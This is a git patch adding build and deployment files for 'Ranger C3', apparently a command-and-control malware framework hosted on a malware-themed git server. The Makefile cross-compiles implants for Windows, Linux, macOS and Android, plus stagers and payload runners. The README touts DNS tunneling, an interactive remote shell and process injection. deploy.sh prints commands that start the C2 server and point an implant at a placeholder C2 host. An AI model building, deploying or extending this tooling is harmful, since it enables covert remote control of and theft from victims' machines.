From 3b0f47c2168379ec7ab89dda6ad6aac19f716700 Mon Sep 17 00:00:00 2001 From: ek0ms savi0r <4+ek0mssavi0r@noreply.git.churchofmalware.org> Date: Sat, 19 Sep 2026 16:59:15 +0000 Subject: [PATCH] Upload files to "/" --- Makefile | 69 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ README.md | 9 +++++++- deploy.sh | 49 +++++++++++++++++++++++++++++++++++++++ go.mod | 12 ++++++++++ go.sum | 12 ++++++++++ 5 files changed, 150 insertions(+), 1 deletion(-) create mode 100644 Makefile create mode 100644 deploy.sh create mode 100644 go.mod create mode 100644 go.sum diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..041d3d2 --- /dev/null +++ b/Makefile @@ -0,0 +1,69 @@ +# Ranger C3 Makefile +.PHONY: all build build-all c2 implant stager payloads clean deploy-c2 + +BUILD_DIR ?= ./build +GOFLAGS ?= -ldflags="-s -w" + +# Cross C compiler for the linux/arm64 C2 build (cgo sqlite3). +# Override if your toolchain has a different triple: +# make build-all ARM64_CC=aarch64-unknown-linux-gnu-gcc +ARM64_CC ?= aarch64-linux-gnu-gcc + +all: build + +build: c2 implant stager + +c2: + @mkdir -p $(BUILD_DIR) + GOOS=linux GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/ranger-c2 ./cmd/c2 + @echo "[+] C2 server built: $(BUILD_DIR)/ranger-c2" + +implant: + @mkdir -p $(BUILD_DIR) + GOOS=windows GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/implant.exe ./cmd/implant + GOOS=linux GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/implant ./cmd/implant + GOOS=darwin GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/implant_mac ./cmd/implant + @echo "[+] Implants built: $(BUILD_DIR)/implant*" + +stager: + @mkdir -p $(BUILD_DIR) + GOOS=windows GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/stager.exe ./cmd/stager + GOOS=linux GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/stager ./cmd/stager + @echo "[+] Stagers built: $(BUILD_DIR)/stager*" + +payloads: + @mkdir -p $(BUILD_DIR) + GOOS=windows GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/payloads.exe ./cmd/payloads + GOOS=linux GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/payloads ./cmd/payloads + GOOS=darwin GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/payloads_mac ./cmd/payloads + @echo "[+] Payload runners built: $(BUILD_DIR)/payloads*" + +build-all: build + CGO_ENABLED=1 CC=$(ARM64_CC) GOOS=linux GOARCH=arm64 go build $(GOFLAGS) -o $(BUILD_DIR)/ranger-c2-arm64 ./cmd/c2 + GOOS=linux GOARCH=arm64 go build $(GOFLAGS) -o $(BUILD_DIR)/implant-arm64 ./cmd/implant + GOOS=linux GOARCH=386 go build $(GOFLAGS) -o $(BUILD_DIR)/implant-386 ./cmd/implant + GOOS=android GOARCH=arm64 go build $(GOFLAGS) -o $(BUILD_DIR)/implant-android ./cmd/implant + @echo "[+] Cross-compiled builds done" + +clean: + rm -rf $(BUILD_DIR) certs/ data/ + +# Deploy C2 with default config +deploy-c2: c2 + @echo "[*] Starting C2 server..." + ./$(BUILD_DIR)/ranger-c2 \ + --listen :4443 \ + --mesh :9000 \ + --password "changeme" \ + --db data/c2.db \ + --gen-certs \ + --id ranger-c2-01 + +# Show binary sizes +sizes: + @ls -lh $(BUILD_DIR)/ 2>/dev/null || echo "build first" + +# Upstream deps +deps: + go mod tidy + go mod download diff --git a/README.md b/README.md index 1d31e08..0c74d3e 100644 --- a/README.md +++ b/README.md @@ -24,7 +24,7 @@ | Primary channel | WebSocket over HTTP/2 with XChaCha20-Poly1305 encrypted frames | | Fallback channels | HTTPS REST beacon + DNS tunneling (base32 + AEAD) | | Operator dashboard | Full SPA web UI — clickable implant drill-down, interactive shell, payload executor | -| Payload system | 23 native Go payload modules — compiled, no Python needed at runtime | +| Payload system | 24 native Go payload modules — compiled, no Python needed at runtime | | Crypto | Ed25519 signing, XChaCha20-Poly1305 AEAD, SHA-256 key derivation | | Auth | JWT-based operator authentication with token expiry | | Persistence | SQLite (WAL mode, concurrent) | @@ -83,8 +83,15 @@ make c2 # Linux C2 server make implant # Cross-compile implants (win/linux/mac) make stager # Cross-compile stagers (win/linux) make payloads # Build standalone payload binaries +make build-all # Everything + cross targets (see notes below) ``` +**Cross-compile notes:** + +- `make build-all` cross-compiles the C2 for `linux/arm64`; the SQLite driver needs cgo, so it uses `aarch64-linux-gnu-gcc` by default. Install `gcc-aarch64-linux-gnu` (Debian/Ubuntu/Kali) or override: `make build-all ARM64_CC=aarch64-unknown-linux-gnu-gcc`. +- Full implant matrix: windows/amd64, linux/amd64, linux/arm64, linux/386, android/arm64, darwin/amd64. +- `process_inject` is linux/amd64-only; other architectures report it as unsupported instead of failing the build. + ### 2. Start C2 ```bash diff --git a/deploy.sh b/deploy.sh new file mode 100644 index 0000000..13c3ef2 --- /dev/null +++ b/deploy.sh @@ -0,0 +1,49 @@ +#!/bin/bash +# deploy.sh - Deploy Ranger C3 with Nginx fronting (optional) +set -e + +VERSION="3.0.0" + +echo " Ranger C3 v${VERSION} - Deploy Script " +echo "===========================================" + +# Check for Go +if ! command -v go &>/dev/null; then + echo "[-] Go not found. Install: apt install golang-go" + exit 1 +fi + +# Build +echo "[*] Building binaries..." +make build 2>/dev/null || go build -ldflags="-s -w" -o build/ranger-c2 ./cmd/c2 + +# Create data directory +mkdir -p data + +# Generate certs if needed (reused on later runs; --force-certs to regenerate) +echo "[*] Ensuring TLS certificates..." +./build/ranger-c2 --gen-certs-only 2>/dev/null || true + +echo "" +echo "[+] Build complete. To start:" +echo "" +echo " # Standalone C2" +echo " ./build/ranger-c2 \\" +echo " --listen :4443 \\" +echo " --password \"YOUR_PASSWORD\" \\" +echo " --db data/c2.db \\" +echo " --gen-certs" +echo "" +echo " # C2 with mesh peers" +echo " ./build/ranger-c2 \\" +echo " --listen :4443 \\" +echo " --mesh :9000 \\" +echo " --bootstrap \"10.0.0.2:9000,10.0.0.3:9000\" \\" +echo " --password \"YOUR_PASSWORD\" \\" +echo " --db data/c2.db \\" +echo " --gen-certs" +echo "" +echo " # Dashboard: https://your-c2:4443/dashboard" +echo " # Implant: ./build/implant --c2 wss://your-c2:4443/ws" +echo "" +echo "===========================================" diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..4e672fe --- /dev/null +++ b/go.mod @@ -0,0 +1,12 @@ +module git.churchofmalware.org/ek0mssavi0r/Ranger-C3 + +go 1.26 + +require ( + github.com/golang-jwt/jwt/v5 v5.2.1 + github.com/gorilla/websocket v1.5.3 + github.com/mattn/go-sqlite3 v1.14.24 + golang.org/x/crypto v0.31.0 +) + +require golang.org/x/sys v0.28.0 diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..ea142f8 --- /dev/null +++ b/go.sum @@ -0,0 +1,12 @@ +github.com/golang-jwt/jwt/v5 v5.2.1 h1:OuVbFODueb089Lh128TAcimifWaLhJwVflnrgM17wHk= +github.com/golang-jwt/jwt/v5 v5.2.1/go.mod h1:pqrtFR0X4osieyHYxtmOUWsAWrfe1Q5UVIyoH402zdk= +github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg= +github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= +github.com/mattn/go-sqlite3 v1.14.24 h1:tpSp2G2KyMnnQu99ngJ47EIkWVmliIizyZBfPrBWDRM= +github.com/mattn/go-sqlite3 v1.14.24/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y= +golang.org/x/crypto v0.31.0 h1:ihbySMvVjLAeSH1IbfcRTkD/iNscyz8rGzjF/E5hV6U= +golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk= +golang.org/x/sys v0.28.0 h1:Fksou7UEQUWlKvIdsqzJmUmCX3cZuD2+P3XyyzwMhlA= +golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/term v0.27.0 h1:WP60Sv1nlK1T6SupCHbXzSaN0b9wUmsPoRS9b61A23Q= +golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM=